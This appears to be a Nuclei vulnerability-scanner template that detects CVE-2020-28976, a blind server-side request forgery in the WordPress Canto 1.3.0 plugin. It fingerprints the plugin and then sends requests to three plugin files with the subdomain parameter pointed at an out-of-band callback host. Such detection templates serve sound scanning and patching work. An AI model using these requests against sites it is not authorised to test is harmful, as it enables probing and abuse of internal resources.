WordPress Canto 1.3.0 - Blind Server-Side Request Forgery

id: CVE-2020-28976

info:
  name: WordPress Canto 1.3.0 - Blind Server-Side Request Forgery
  author: LogicalHunter
  severity: medium
  description: WordPress Canto plugin 1.3.0 is susceptible to blind server-side request forgery. An attacker can make a request to any internal and external server via /includes/lib/detail.php?subdomain and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could result in unauthorized access to sensitive internal resources and potential data leakage.
  remediation: |
    Update WordPress Canto to the latest version (1.3.1) or apply the patch provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/49189
    - https://www.canto.com/integrations/wordpress/
    - https://github.com/CantoDAM/Canto-Wordpress-Plugin
    - https://nvd.nist.gov/vuln/detail/CVE-2020-28976
    - http://packetstormsecurity.com/files/160358/WordPress-Canto-1.3.0-Server-Side-Request-Forgery.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-28976
    cwe-id: CWE-918
    epss-score: 0.26037
    epss-percentile: 0.97731
    cpe: cpe:2.3:a:canto:canto:1.3.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 4
    vendor: canto
    product: canto
    framework: wordpress
  tags: cve2020,cve,packetstorm,ssrf,wordpress,wp-plugin,oast,edb,canto,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/canto/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Canto'
          - 'Tested up to:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/canto/includes/lib/detail.php?subdomain={{interactsh-url}}"
      - "{{BaseURL}}/wp-content/plugins/canto/includes/lib/get.php?subdomain={{interactsh-url}}"
      - "{{BaseURL}}/wp-content/plugins/canto/includes/lib/tree.php?subdomain={{interactsh-url}}"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "null"

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
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